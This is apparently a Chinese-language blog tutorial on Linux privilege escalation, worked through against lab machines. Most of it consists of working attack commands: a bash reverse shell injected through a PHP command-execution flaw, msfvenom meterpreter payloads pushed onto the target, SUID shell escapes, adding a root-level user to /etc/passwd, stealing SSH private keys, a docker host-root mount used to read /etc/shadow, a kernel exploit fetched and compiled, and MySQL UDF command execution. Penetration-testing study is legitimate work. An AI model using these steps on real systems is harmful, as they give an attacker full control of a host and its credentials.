渗透测试|Linux提权


目录

  • 基础知识
  • SUID提权
    • 什么是SUID
    • SUID权限的基本功能
    • 常见的可用于suid提权的命令
  • 内核提权
    • 内核溢出提权
      • 1. 获取shell
      • 2. 查找漏洞
      • 3. 上传exp
    • 脏牛提权
  • MSF提权
  • passwd提权
  • ssh密钥提权
  • 提权脚本应用
    • LinEnum
      • 软件简介
      • 实操
    • linuxprivchecker
    • linux-exploit-suggester2
  • docker 提权
  • linux mysql udf提权
  • 参考

实践思路:使用脚本进行信息收集,之后使用漏洞探针脚本检查系统上存在哪些潜在漏洞。
  • 两个信息收集:
    • LinEnum:https://github.com/rebootuser/LinEnum
    • linuxprivchecker:https://github.com/sleventyeleven/linuxprivchecker
  • 两个漏洞探针:
    • Linux-exploit- suggester:https://github.com/mzet-/linux-exploit-suggester
    • linux- exploit- suggester2:https://github.com/xxm3/linux-exploit-suggester-2
基础知识
命令 释义
uname **-**a 查看内核版本
id 显示用户的ID,以及所属群组的ID
pwd 显示当前路径
dpkg **-**l
rpm **-**qa 查看已经安装的程序
cat **/etc/**issue
cat **/**etc_/*-release_ 查看发行版
【渗透测试|Linux提权】漏洞搜索:如需查看CentOS 7 内核版本为3.10的内核漏洞
searchsploit centos **7** kernel **3.10**
渗透测试|Linux提权
文章图片

SUID提权 什么是SUID SUID是set uid的简称,它出现在文件所属主权限的执行位上面,标志为s,SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
?
举个例子:
渗透测试|Linux提权
文章图片

SUID权限的基本功能
  • SUID权限仅对二进制程序有效
  • 执行者对该程序具有x的可执行权限,才可利用SUID权限
  • 此权限仅在执行该程序的过程中有效
  • 执行者讲具有程序拥有者的权限
常见的可用于suid提权的命令
  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp
【手工】以下命令可以发现系统上运行的所有SUID可执行文件。
(或者使用上面提供的自动化脚本也可以)
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;

渗透测试|Linux提权
文章图片

然后输入提权命令:find -exec "/bin/sh" \;
渗透测试|Linux提权
文章图片

内核提权 通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在apache 就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限 超级管理员权限。
内核溢出提权 利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的exp,使用exp对其进行提权。
假设某站点存在命令执行:
渗透测试|Linux提权
文章图片

1. 获取shell
在 反弹shell 中介绍了很多种方法,这里使用bash反弹shell
攻击者:nc -lvp 9999受害者:bash -c "bash -i >& /dev/tcp/192.168.239.141/9999 0>&1"

执行效果有点奇怪
渗透测试|Linux提权
文章图片

使用 老版本 的BP看一下包,发现需要重新构造一下包
渗透测试|Linux提权
文章图片

重新填入值:system('bash -c "bash -i >& /dev/tcp/192.168.239.141/9999 0>&1"');
渗透测试|Linux提权
文章图片

拿到shell,并且可交互,支持tab补全(细节参见之前的文章 交互式shell)

2. 查找漏洞
查看目标的版本信息
uname -a cat /proc/version cat /etc/issue cat /etc/redhat-release lsb_release -a

搜索漏洞
searchsploit -t Ubuntu 14.04 searchsploit -s Ubuntu 14.04 searchsploit -s Linux Kernel 3.13.0

渗透测试|Linux提权
文章图片

找到一条看起来可以使用的EXP
searchsploit -s 3.19 #搜索 searchsploit -x linux/local/37292.c# 简单查看下exp cp /usr/share/exploitdb/exploits/linux/local/37292.c ./37292.c # 将其复制到别的目录下


3. 上传exp
  1. 确认目标有gcc,那么可以直接上传exp,在目标机器进行编译
渗透测试|Linux提权
文章图片

  1. kali使用python开启http服务
sudo python -m SimpleHTTPServer 80

  1. 下载exp到tmp目录下:wget http://192.168.239.141/37292.c -O /tmp/37292.c
  2. 对齐编译:gcc 37292.c -o exp
  3. 加权限,运行失败。呃,,,暂时就这样吧。

脏牛提权 网上教程一大堆,没啥好说的,脏牛提权:DirtyCow(脏牛)漏洞复现
关于脏牛漏洞,可以在Vulnhub上下载相关的靶机:https://www.vulnhub.com/entry/lampiao-1,249/
MSF提权 目标存在命令执行漏洞。那么就让它远程下载一个msf的恶意文件来获取一个session
  1. 生成攻击载荷
由于目标是php的,因此生成php恶意文件
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.239.141 LPORT=4444 -f raw > ./shell.php

  1. 开启HTTP服务
sudo python -m SimpleHTTPServer 80

渗透测试|Linux提权
文章图片

  1. 先试着读取一下,没问题
file_get_contents() 函数:把整个文件读入一个字符串中
http://192.168.239.173/code/code02.php?data=https://www.it610.com/article/echo%20file_get_contents(%27http://192.168.239.141/shell.php%27);

渗透测试|Linux提权
文章图片

  1. 把读取的恶意文件,写入到目标系统上
http://192.168.239.173/code/code02.php?data=https://www.it610.com/article/file_put_contents('../tmp/hack.php',file_get_contents('http://192.168.239.141/shell.php'));

渗透测试|Linux提权
文章图片

  1. 确认文件已经写入
执行如下命令,然后查看页面源代码(显示效果友好)
http://192.168.239.173/code/code02.php?data=https://www.it610.com/article/system('ls -al ../tmp');

渗透测试|Linux提权
文章图片

  1. kali开启监听
use exploit/multi/handler set payload php/meterpreter_reverse_tcp set lhost 192.168.239.141 set lport 4444 exploit

  1. 访问payload
渗透测试|Linux提权
文章图片

  1. 失败,原因暂时没搞懂
渗透测试|Linux提权
文章图片

  1. 重启了一边电脑,ok了

  1. 使用模块查询漏洞。没查到,解下来就变成了内核提权,或者suid等提权方式了
run post/multi/recon/local_exploit_suggester
渗透测试|Linux提权
文章图片

passwd提权 思路:如果你获取到一个shell,发现 /etc/passwd 文件存在读写权限,就可以尝试往里面添加一个高权限用户
渗透测试|Linux提权
文章图片

  1. 发现 /etc/passwd 的权限不合理
渗透测试|Linux提权
文章图片

  1. 通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
openssl passwd -1 -salt hack hack123

渗透测试|Linux提权
文章图片

  1. 构造一下hack用户的 /etc/passwd的内容
参考一下root用户和kali用户的内容:
root?0:0:root:/root:/usr/bin/zsh
kali?1000:1000:Kali,:/home/kali:/usr/bin/zsh
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash

注意:目标使用的是bash,不是zsh
3.1 追加到最后一行:
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> /etc/passwd
3.2 查看效果
tail /etc/passwd
渗透测试|Linux提权
文章图片

  1. 可以尝试登录目标系统
渗透测试|Linux提权
文章图片

ssh密钥提权 描述:获取目标系统的ssh配置文件,达到ssh登录系统的目的。
?
拿到shell后,使用如下命令检查哪些用户是bash的: cat /etc/passwd | grep bash
可能会有多个用户是由bash的,接下来检查哪些用户的家目录是可以被访问的,如果可以被访问,有没有.ssh隐藏目录。如果有的话,获取 id_rsa文件
渗透测试|Linux提权
文章图片

复制 id_rsa的内容到kali上面,设置权限: chmod 600 id_rsa
然后尝试登录目标: ssh -i id_rsa web1@ip
渗透测试|Linux提权
文章图片

提权脚本应用 LinEnum 项目地址:https://github.com/rebootuser/LinEnum
软件简介
LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf*.log 文件,这些功能对于渗透测试人员来说,是非常有用的。
实操
首先获取一个shell。
  1. 生成木马,投放到靶机上
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.239.141 LPORT=4444 -f elf > shell.elf

  1. msf开启监听
use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.239.141 exploit

  1. 靶机运行木马
  2. kali下载利用脚本到本地,并开放web服务
python3 -m http.server 80

  1. 靶机下载利用脚本,加上| bash,边下载边执行
当然,也可以下载完成之后再执行。然后最好可以重定向一下执行结果,不然阅读费劲。
wget -O - http://192.168.239.141/LinEnum.sh | bash wget -O - http://192.168.239.141/LinEnum.sh | bash > /tmp/getinfo.txt

渗透测试|Linux提权
文章图片

linuxprivchecker 用来检查提权的一个脚本
项目地址:
python2地址:https://github.com/sleventyeleven/linuxprivchecker
python3地址:https://github.com/swarley7/linuxprivchecker
渗透测试|Linux提权
文章图片

linux-exploit-suggester2 项目地址:https://github.com/jondonas/linux-exploit-suggester-2
渗透测试|Linux提权
文章图片

可能是系统版本有点高,找个低版本的系统重新试一下
渗透测试|Linux提权
文章图片

docker 提权 docker是一个容器,可以在同一台机子虚拟多台服务。输入命令id和group查询当前用户信息和组信息,发现存在docker组。
渗透测试|Linux提权
文章图片

输入命令下载使用容器把容器的目录挂载到宿主的根目录,进入mnt目录就是进入到了宿主机的根目录。
docker run -v /:/mnt -it alpine


尝试查看shadow文件。如果直接查看/etc/shadow是有问题的,此时应该查看的是etc/shadow
渗透测试|Linux提权
文章图片

渗透测试|Linux提权
文章图片

linux mysql udf提权
利用概率低,需要知道mysql的账号密码
这里,首先使用上文 “内核溢出提权”的方式获取一个shell,然后会用到 上篇文章“windows提权-mysql提权”中的一些技巧。
  1. 获取shell,登录数据库
渗透测试|Linux提权
文章图片

  1. 确认MySQL安装目录下的 plugin 文件夹具有可读写权限

  1. 准备利用文件
还原sqlmap中的lib_mysqludf_sys.so_文件为lib_mysqludf_sys.so,然后把后者移动到当前目录,并开启web服务
cd /usr/share/sqlmap/extra/cloak/ sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so sudo mv /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so ./ python3 -m http.server


  1. 下载利用文件
    1. 退出数据库:exit
    2. 来到plugin目录:cd /usr/lib/mysql/plugin/
    3. 下载:wget -O hack.so http://192.168.239.141:8000/lib_mysqludf_sys.so
  2. 登录数据库
    1. 登录:mysql -uroot -p123456
    2. 选择mysql:use mysql
  3. 创建函数
可以执行命令了,权限也就那样吧
create function sys_eval returns string soname "hack.so"; select sys_eval('id');

渗透测试|Linux提权
文章图片

参考
Linux提权总结
Linux下用SUID提权
【提权】Linux的SUID提权
Linux中SUID权限解读
Linux下的用户、组和权限
提权学习之旅——Linux操作系统提权总结

    推荐阅读